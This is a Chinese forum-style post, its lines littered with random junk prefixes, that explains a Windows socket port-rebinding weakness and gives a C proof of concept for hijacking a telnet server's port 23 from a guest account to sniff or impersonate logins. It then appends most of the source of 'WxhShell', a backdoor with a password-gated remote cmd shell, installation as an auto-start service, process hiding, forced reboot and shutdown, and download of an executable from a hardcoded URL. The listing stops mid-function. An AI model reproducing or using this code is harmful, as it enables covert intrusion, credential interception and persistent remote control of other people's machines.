在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Cp#}x1{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dEfP272M <'O|7.
^^ saddr.sin_family = AF_INET;
":L d}~> /[|A(,N}{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_+qtH< F/ hD7Lgi-N)W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
];Y tw6A j`-9. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/+f3jy:d 8b $e) 这意味着什么?意味着可以进行如下的攻击:
#|6M*;l N| W<H<~wf# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
SOvo%L@ q` @8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u@kr;^m 27UnH: = 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CjU?3Ag N)X51;+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,h'omU7 } BnPNc[I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rv%^2h<& f6%7:B d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{Pe+d3Eoo 3$ BYfI3H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:JzJ(q/ ''B}^yKEW #include
kDWvjT #include
n<MreKixE #include
:SVWi}:Co1 #include
sT>l ?L DWORD WINAPI ClientThread(LPVOID lpParam);
%>,Kd6bdg int main()
Ai5D[ykX {
s@|TQ9e |j WORD wVersionRequested;
HeM- DWORD ret;
c4L++
u# WSADATA wsaData;
MW)=l
| G BOOL val;
?yAjxoE~? SOCKADDR_IN saddr;
yo#fJ` SOCKADDR_IN scaddr;
Ufe@G\uyI int err;
D<xDj#Z~1 SOCKET s;
G":u::hR SOCKET sc;
d7v_> int caddsize;
\Gy+y` HANDLE mt;
vkW]?::Cfd DWORD tid;
VY "i>Ae wVersionRequested = MAKEWORD( 2, 2 );
hi9@U]H# err = WSAStartup( wVersionRequested, &wsaData );
i}Cy q if ( err != 0 ) {
gv9z`[erS printf("error!WSAStartup failed!\n");
]s~%1bd
return -1;
%s[
n2w }
Xldz&&@ saddr.sin_family = AF_INET;
yUu+68Z6 4 UnN~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ehQ~+x f=nVK4DuZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~9dAoILrl saddr.sin_port = htons(23);
sQ%gf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n;*W#c {
3+iQct[ printf("error!socket failed!\n");
s
F3M= uz return -1;
w-?Cg8bq< }
x-@6U val = TRUE;
aKC3vR0 //SO_REUSEADDR选项就是可以实现端口重绑定的
+zSdP2s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~bLhI {
jW_FaPW(p printf("error!setsockopt failed!\n");
`rI[ return -1;
|=ljN7]! }
nWv6I& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/SQ1i}% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uzWz+atH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G>0hi1 2f.4P]s`T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o'p[G]NQ1o {
p`{ | [< ret=GetLastError();
q<wQ/m printf("error!bind failed!\n");
1<3! return -1;
v6+<F;G3y> }
wM&WR2 listen(s,2);
?K^~(D8( while(1)
#BX^"J{~ {
$nW^Gqwj]1 caddsize = sizeof(scaddr);
&Ch~$Wb^ //接受连接请求
~[4zm$R^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:*s+X$x,< if(sc!=INVALID_SOCKET)
2~2j?\AEd. {
y,=TB[d# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*p7_rY if(mt==NULL)
\x+ "1 {
ajALca4 printf("Thread Creat Failed!\n");
{A MoE+U break;
\9s x_T }
-87]$ ax }
@2)ImgK[ CloseHandle(mt);
^Ts8nOGMh }
J9yB'yE8 closesocket(s);
dX5|A_Ex WSACleanup();
Rz!! ;<ye8 return 0;
ELQc:
t
-2 }
odC}RdN DWORD WINAPI ClientThread(LPVOID lpParam)
+a((,wAN2 {
#gY|T| SOCKET ss = (SOCKET)lpParam;
oY0`igH SOCKET sc;
f3HleA&& unsigned char buf[4096];
xEvm>BZi
SOCKADDR_IN saddr;
T&~7*j(|e long num;
xl;0&/7e DWORD val;
Q!"W)tD DWORD ret;
,7|Wf
%X //如果是隐藏端口应用的话,可以在此处加一些判断
I6Mr[#* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UIi`bbJ saddr.sin_family = AF_INET;
>PMLjXK saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5WG:m'$$ saddr.sin_port = htons(23);
9V( esveq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TkSeDP {
(k&r^V/= printf("error!socket failed!\n");
7T}r]C. return -1;
o!ycVY$yW }
)NCkq~M val = 100;
'ai!6[|SD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7__?1n~{ {
(GI]Uyn ret = GetLastError();
Y+'522er return -1;
g?d*cwtU }
zCdzxb_h" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SebJ}P1x {
N_),'2 ret = GetLastError();
Ig M_l= return -1;
Y]>Qu f.! }
<tp#KZE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u.Z,HsEO b {
@O%d2bgEWV printf("error!socket connect failed!\n");
e3b|z.^ 8
closesocket(sc);
6`l7saHXE closesocket(ss);
*QT|J6ng return -1;
nH% 1lD?: }
mFXkrvOf, while(1)
K7N.gT*4 {
[.`%]Z( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q^k]e{PD //如果是嗅探内容的话,可以再此处进行内容分析和记录
@ME
. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Z-B b,8 num = recv(ss,buf,4096,0);
K{x FhdW if(num>0)
[#-!&> send(sc,buf,num,0);
WbP*kV{ else if(num==0)
nfbq J break;
xRU ~hQ num = recv(sc,buf,4096,0);
4%L-3Ij if(num>0)
KGoHn6jM send(ss,buf,num,0);
l`A4)8Y@ else if(num==0)
,t=12R]> break;
,dO$R.h }
)mb RG9P closesocket(ss);
Z2x% closesocket(sc);
:u$+lq return 0 ;
Qo;#}%}^^ }
)Mj
$/ eX@7f!uz J\ V.J/ ==========================================================
`DPR >dd@ ko%B` 下边附上一个代码,,WXhSHELL
$ZOKB9QccC &`J?`l X ==========================================================
p>@S61
&
[ `bF]O" #include "stdafx.h"
Y?>us AZTn!hrU #include <stdio.h>
_p`@/[(| #include <string.h>
s"solPw #include <windows.h>
&G"r>,HU #include <winsock2.h>
j$8i!C #include <winsvc.h>
q
T pvz #include <urlmon.h>
Y4B<]C4 J|BZ{T}d #pragma comment (lib, "Ws2_32.lib")
VF<C#I #pragma comment (lib, "urlmon.lib")
6(X5n5C >.-$?2 #define MAX_USER 100 // 最大客户端连接数
X;?Z_3I:5 #define BUF_SOCK 200 // sock buffer
fx783 #define KEY_BUFF 255 // 输入 buffer
6Q6l?!|W4 M"t=0[0DM: #define REBOOT 0 // 重启
yU@~UCmja #define SHUTDOWN 1 // 关机
?$T39U^ 96.z\[0VZ #define DEF_PORT 5000 // 监听端口
qJ|n73yn r4D6I, #define REG_LEN 16 // 注册表键长度
-MqWcB9& #define SVC_LEN 80 // NT服务名长度
C,!}WB@VME E(&GZ QE // 从dll定义API
#Rkld v' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)
-C9W7?I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
XI*_ti typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C;jV{sb9c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q#i^<WUpg _ x.D< n=X // wxhshell配置信息
g}-Ch# struct WSCFG {
P"g
Y|}| int ws_port; // 监听端口
CY4_= char ws_passstr[REG_LEN]; // 口令
|= frsf~? int ws_autoins; // 安装标记, 1=yes 0=no
R;XR?59:. char ws_regname[REG_LEN]; // 注册表键名
dLSnhZ char ws_svcname[REG_LEN]; // 服务名
B
az:N6u char ws_svcdisp[SVC_LEN]; // 服务显示名
BU="BB/[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
yq?_#r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_0rHxh7}q int ws_downexe; // 下载执行标记, 1=yes 0=no
$VrKoL\ScA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
P9p{j1*; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g1uqsqYt '1}rQq Z };
A!kNqJ2 YORFq9a{R // default Wxhshell configuration
7\
<4LX struct WSCFG wscfg={DEF_PORT,
~Lc>~!!t "xuhuanlingzhe",
wnE
c
1,
$<UX/a\sH "Wxhshell",
0)8QOTeT "Wxhshell",
ItTIU "WxhShell Service",
JL9d&7- "Wrsky Windows CmdShell Service",
lbES9o5 "Please Input Your Password: ",
I@=h|GM 1,
X'&$wQ6,K "
http://www.wrsky.com/wxhshell.exe",
TgaDzF,j{A "Wxhshell.exe"
/ -=(51}E };
jz[|rwAp lK^Q#td:` // 消息定义模块
:{9|/a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[hg|bpEG char *msg_ws_prompt="\n\r? for help\n\r#>";
)Q\ZYCPOr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K;f'&9-+i, char *msg_ws_ext="\n\rExit.";
?;,Al`/^ char *msg_ws_end="\n\rQuit.";
'^l/e: (H3 char *msg_ws_boot="\n\rReboot...";
G5Ci"0 char *msg_ws_poff="\n\rShutdown...";
dv0TJ 0% char *msg_ws_down="\n\rSave to ";
z#!xqIg0 7[-jr;v char *msg_ws_err="\n\rErr!";
v.1= TBh char *msg_ws_ok="\n\rOK!";
(oxe\Qk lxK_+fj
q char ExeFile[MAX_PATH];
yvxC/Jo4 int nUser = 0;
6QRfju' HANDLE handles[MAX_USER];
ISr~JQr int OsIsNt;
r1FE$R~C= F.=uJdl.! SERVICE_STATUS serviceStatus;
Xl6)& SERVICE_STATUS_HANDLE hServiceStatusHandle;
4[3T%jA D^PsV // 函数声明
+k"dN^K]D int Install(void);
{K'SOhH4? int Uninstall(void);
8m A6l0 int DownloadFile(char *sURL, SOCKET wsh);
| 4I x2GD int Boot(int flag);
04;y%~,}U/ void HideProc(void);
S'-<p<;D\B int GetOsVer(void);
,l<-*yMD int Wxhshell(SOCKET wsl);
z1+rz% void TalkWithClient(void *cs);
1#qCD["8 int CmdShell(SOCKET sock);
4Uf+t?U9 int StartFromService(void);
e#^|NQ<'A int StartWxhshell(LPSTR lpCmdLine);
Z"?AaD[ fC3IxlG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s/[i>`g/9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
ud:?~?j&w =X X_Cnn // 数据结构和表定义
V8Q#%#)FHe SERVICE_TABLE_ENTRY DispatchTable[] =
Kc udWW] {
8{+~3@T {wscfg.ws_svcname, NTServiceMain},
@sKAsn {NULL, NULL}
pOI+ };
`Ik}Xw VP 4t~$" // 自我安装
|->y'V int Install(void)
p2~Q {
&SN$D5U' char svExeFile[MAX_PATH];
d L%E0o HKEY key;
i`]M2Q strcpy(svExeFile,ExeFile);
\ b9,> na']{a1K // 如果是win9x系统,修改注册表设为自启动
A?}OOjA if(!OsIsNt) {
k7{fkl9|# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0h shHv- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\N#)e1.0P RegCloseKey(key);
xN"KSQpu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J-PzI FWd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<vt^=QA' RegCloseKey(key);
)dL?B9d: return 0;
0K3FH&.% }
($(1KE }
*vAOUqX`x }
e3>Re![_. else {
-N\{QX1Yd nv $ // 如果是NT以上系统,安装为系统服务
)Elr8XLw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L7Oytdc< if (schSCManager!=0)
/#G"'U/ {
Br~%S?4"o SC_HANDLE schService = CreateService
^/n[5@6H (
3`9*Hoy0c schSCManager,
PYHm6'5BtB wscfg.ws_svcname,
"(efd~.] wscfg.ws_svcdisp,
x#8=drh.:C SERVICE_ALL_ACCESS,
4\ OELU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ok`U*j SERVICE_AUTO_START,
,IJ Nuu\ SERVICE_ERROR_NORMAL,
Ee|+uQ981> svExeFile,
_SP
u`=~K NULL,
3sZK[Y|ax NULL,
8e\v5K9 NULL,
_&%!4n#> NULL,
tiE+x|Ju" NULL
|16
:Zoq );
VvF&E>fC if (schService!=0)
:ZP3$ Dp {
*Ra")(RnDK CloseServiceHandle(schService);
n&C9f9S CloseServiceHandle(schSCManager);
Y!7P>?)`,X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
k(qQvn strcat(svExeFile,wscfg.ws_svcname);
Wq9s[)F"Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}"&(sYQ*` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ro1' L1: RegCloseKey(key);
^,KR 0 return 0;
* Yr-:s9J9 }
xY'g7<})$ }
,xh9,EpBk CloseServiceHandle(schSCManager);
F{"%ey"> }
kN$70N7I; }
t!u*6W|@ S-/#3 return 1;
P~qVr#eU }
&"kx(B 3QHZC0AY // 自我卸载
{PVu3W int Uninstall(void)
]czy8n$+ {
)[K3p{4 HKEY key;
ibuI/VDF #]
GM#. if(!OsIsNt) {
U KJY.W!w4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q]7Q RegDeleteValue(key,wscfg.ws_regname);
\fKE~61 RegCloseKey(key);
`P5"5N\h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.~U9*5d RegDeleteValue(key,wscfg.ws_regname);
l46F3C| RegCloseKey(key);
IB6]Wj return 0;
;?o C=c }
sR9F: }
Ii,:+o% }
p_AV3 else {
\S<5b&G
O+8`. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
UJH{vjIv if (schSCManager!=0)
!qpu / {
P8VU&b\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`l+SJLyJ% if (schService!=0)
J9 =gv0 {
bvx:R ~E$ if(DeleteService(schService)!=0) {
*Z:PB%d5 CloseServiceHandle(schService);
"XY?v8*c CloseServiceHandle(schSCManager);
+n, BD C; return 0;
qC4-J)8Wk }
jwq"B$ap CloseServiceHandle(schService);
HxM sH5; }
0l=}v%D CloseServiceHandle(schSCManager);
:}JZKj!}M }
JB(;[# '~ }
R,\
r{@yrz 0c5_L6_z return 1;
V3o AZ34) }
1 ~7_! C#~MR+; // 从指定url下载文件
`aUp&8{ int DownloadFile(char *sURL, SOCKET wsh)
@,MdvR+a {
/(V=Um^0 HRESULT hr;
>&&xJ5 char seps[]= "/";
U YQ$c }Z5 char *token;
Pp/{keEye char *file;
'/H(,TM char myURL[MAX_PATH];
AVr!e
char myFILE[MAX_PATH];
jVINc=o K*Jtyy}r strcpy(myURL,sURL);
K|G$s token=strtok(myURL,seps);
X4$e2f while(token!=NULL)
-"e}YN/ {
&XsLp&Do2 file=token;
lz (,;I'x token=strtok(NULL,seps);
%)9]dOdOk }
T,uIA] x5SQ+7 GetCurrentDirectory(MAX_PATH,myFILE);
V</T$V$ strcat(myFILE, "\\");
>u)ZT strcat(myFILE, file);
JC"K{V{ send(wsh,myFILE,strlen(myFILE),0);
T]|O/ send(wsh,"...",3,0);
gn"&/M9E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
17cW8\
if(hr==S_OK)
'u[o`31. return 0;
sPg6eAd~? else
k^pu1g=6I return 1;
>p*HXr|o$ 42CMRGv }
uC(S`Q[Bg N
>!xedw= // 系统电源模块
gJ.6m&+ int Boot(int flag)
1J"9r7\ {
pYVy(]1I(3 HANDLE hToken;
5uo(z,WLR TOKEN_PRIVILEGES tkp;
l~YNmmv _ 3}21bL if(OsIsNt) {
Yd;r8rN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q=Yerp3~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AfN tkp.PrivilegeCount = 1;
f^4*. ~cB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
d5y2Y/QO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C[nr> if(flag==REBOOT) {
? SP7vQ/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-^H5z+"^ return 0;
~{YgM/c|dt }
xD#I&. else {
o'7ju~0L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2w|u)ow) return 0;
!>y}Xq{bm3 }
+)JqEwCrq }
|u ;BAb else {
/JeqoM"x if(flag==REBOOT) {
W<91m* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&PuJV + y return 0;
3cO[t\/up }
+g6j=% else {
`U_>{p&x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
XOg(k(&T return 0;
KOEi_9i} }
DD 5EHJR }
Gu`Vk/& **r? return 1;
,,_K/='m }
|D`b7h Y"kS!!C>[ // win9x进程隐藏模块
u7zB9iQ& void HideProc(void)
SE)j}go {
G=!bM(]R~ ;9p5YxD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|akC if ( hKernel != NULL )
(l8r>V {
[l%fL9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/B@%pq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~wf~bzs FreeLibrary(hKernel);
N E2sD }
@b*T4hwA. uAS8F=9xP return;
>?W;>EUH }
Xb@z7X#O! csX*XiDWm // 获取操作系统版本
gQd=0"MV int GetOsVer(void)
d<GG( {
q\t>D
_lU OSVERSIONINFO winfo;
*DCNu{6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FR,#s^kF GetVersionEx(&winfo);
sx<+ *Trl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zg Y*|{4Sl return 1;
0rJ\e else
Ya&\ly
/i return 0;
<6b\i5j }
%r @EP{VV // 客户端句柄模块
.cT$h?+jyl int Wxhshell(SOCKET wsl)
]7S7CVDk4 {
sJI- SOCKET wsh;
ym*#ZE`B! struct sockaddr_in client;
Y0X94k.u DWORD myID;
BdB` Q`p}X&^a while(nUser<MAX_USER)
dbT^9: Q {
}:9|*m<$t int nSize=sizeof(client);
?sf2h:\N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`-K)K< if(wsh==INVALID_SOCKET) return 1;
y)^CDe2xU />^`*e_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lmtQr5U if(handles[nUser]==0)
z@l!\m- closesocket(wsh);
C+(Gg^ w else
TaQ "G nUser++;
\LoSUl
i }
w[YkTv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v`+n`DT vgQhdtt return 0;
kk_9G-M }
G9'YgW+$7 ?V5Pt s // 关闭 socket
vi! r8k void CloseIt(SOCKET wsh)
kL PO+lg+ {
8~s-t closesocket(wsh);
%YvSHh;c nUser--;
*4hOCQ[ ExitThread(0);
\/'#=q1 }
z)W#&JFF -4y)qGb*? // 客户端请求句柄
!: EW21m void TalkWithClient(void *cs)
lQ<#jxp {
$-fj rQ 0bPJEEd SOCKET wsh=(SOCKET)cs;
{F(-s"1;xO char pwd[SVC_LEN];
$O~F>.* char cmd[KEY_BUFF];
m['v3m: char chr[1];
01-\:[{ int i,j;
jWv3O&+?X Qor{1_h)+9 while (nUser < MAX_USER) {
B=q)}aWc }W@#S_-e8 if(wscfg.ws_passstr) {
qtdxMX]iR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VO @
4A6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zy5s$f1IA //ZeroMemory(pwd,KEY_BUFF);
fVA=<: i=0;
cFI7}#,5 while(i<SVC_LEN) {
^`TKvcgIc 3D$\y~HU // 设置超时
0+n&BkS' fd_set FdRead;
7SA-OFM struct timeval TimeOut;
TRySl5jx@ FD_ZERO(&FdRead);
:_fjml/ FD_SET(wsh,&FdRead);
p;n3`aVh TimeOut.tv_sec=8;
XC7Ty'#"KX TimeOut.tv_usec=0;
6_9:Eb=^v! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6cQeL$,SQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+;:aG6q+ "9U+h2#] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
j:v~MrQ7| pwd
=chr[0]; \'It,PN
if(chr[0]==0xd || chr[0]==0xa) { =2;mxJ# o
pwd=0; '.%iPMM
break; W>q*.9}Y"
} 5I)~4.U|,m
i++; U+9-li
} t-eKruj+
_#J_$CE#
// 如果是非法用户,关闭 socket cYq']$]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vR%j#v|s
} ]5o0
_A;vSp.`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eN<>#:`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7,W]zKH
;<bj{#mMv
while(1) { E'&OOEMN-
&AQg'|
ZeroMemory(cmd,KEY_BUFF); C;d|\[7Z
NRHr6!f>
// 自动支持客户端 telnet标准 ,u?wYW;
j=0; >}dTO/
while(j<KEY_BUFF) { ]HJ{dcF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vDK:v$g
cmd[j]=chr[0]; S{^6iR
if(chr[0]==0xa || chr[0]==0xd) { 0$xK
cmd[j]=0; B91S
h`
break; Pp1zW3+Q
} 1EC -e|M.
j++; `uIx/.L
} Qfkh0DX
B
TZ&4
// 下载文件 n=<NFkeX
if(strstr(cmd,"http://")) { |dl0B26x
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "t(1tWO1o
if(DownloadFile(cmd,wsh))
LaIW,+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); + AcKB82
else ?o(ZTlT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eD*?q7
} _"?c9
else { };|!Lhl+
b"ol\&1
#
switch(cmd[0]) { r,`Z.A
y'J:?!S,Yu
// 帮助 (xk.NZnF
case '?': { VZT6;1TD$8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1&X}1
break; u#a%(
} ysSjc
// 安装 38V $ <w
case 'i': { ^3Z7dIUww
if(Install()) olD@W
UB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l?[{?Luq
else f
pv= P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYZ2k=zh
break; 7>nhIp))
} I!|y;mh:it
// 卸载 :Az8K )
case 'r': { ttK,((=@
if(Uninstall()) M(n<Iu4^_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fnVW/23
else $l#v/(uFa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c&E*KfOG
break; bn0"M+7)f
} azao`z
// 显示 wxhshell 所在路径 d u.HSXK
case 'p': { C-s>1\I
char svExeFile[MAX_PATH]; 3+CSQb8
strcpy(svExeFile,"\n\r"); 8fJR{jD(s
strcat(svExeFile,ExeFile); gIV3n#-{L
send(wsh,svExeFile,strlen(svExeFile),0); @Ufa-h5"(
break; R'*<A3^
} ^-gfib|VGe
// 重启 _v1bTg"?
case 'b': { -rEeKt
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zij"/gx\
if(Boot(REBOOT)) 7!O^;]+,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<0Fy =z
else { R^jlEt\&P
closesocket(wsh); +90u!r^v
ExitThread(0); AkxH
} #=X)Jx~
break; f:_=5e
+
} #^5a\XJb
// 关机 :~\LOKf
case 'd': { [NQmL=l
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9T8|y]0F
if(Boot(SHUTDOWN)) ;): 8yBMk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_tjcfVo
else { Ty`-r5
closesocket(wsh); >pgQb9
T+_
ExitThread(0); "sFW~Y
} e{v,x1Y_z(
break; L@7Qs6G2u
} pwa.q
// 获取shell "V:
case 's': { v*&Uk'4E
CmdShell(wsh); Vh 2Bz
closesocket(wsh); k%{ l4
ExitThread(0); /6Y0q9
break; R
^HohB
} 77+|#<J
// 退出 /uK)rG
F
case 'x': { Bs_S.JP<`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KjO-0VMN3
CloseIt(wsh); A{4Dzm !
break; *6NO-T; -
} A;odVaH7
// 离开 S$S_nNq
case 'q': { y:qx5Mi
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z+Kv+GmqH
closesocket(wsh); K|`+C1!
WSACleanup(); VMaS;)0f@
exit(1); (F/HU"C
break; 6_W <hevI
} smQ4CLJ
} >NJjS8f5
} \s,Iz[0Vfz
7@FDBjq
// 提示信息 Kp8fh-4_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )V=0IZi
} cN62M=**
} ^gd<lo g
Po1hq2-U8
return; wHA/b.jH
} <#zwKTmK1
XFtOmY
// shell模块句柄 OWqrD@
int CmdShell(SOCKET sock) _~juv&
{ Sbp
STARTUPINFO si; aD+0\I[x
ZeroMemory(&si,sizeof(si)); z9^c]U U)E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~D*b3K8X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <'W=]IAV
PROCESS_INFORMATION ProcessInfo; ldK>HxM%Z
char cmdline[]="cmd"; _Q>
"\_,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }6<)yW}U
return 0; h5x*NM1Ih
} K*[9j 0
M|ms$1x
// 自身启动模式 !IN@i:m
int StartFromService(void) -<xyC8$^$
{ :MK=h;5Z
typedef struct B#1:Y;Z
{ " <qEXX
DWORD ExitStatus; b9`i Z
DWORD PebBaseAddress; o\&~CW~@~
DWORD AffinityMask; `(3SfQ-
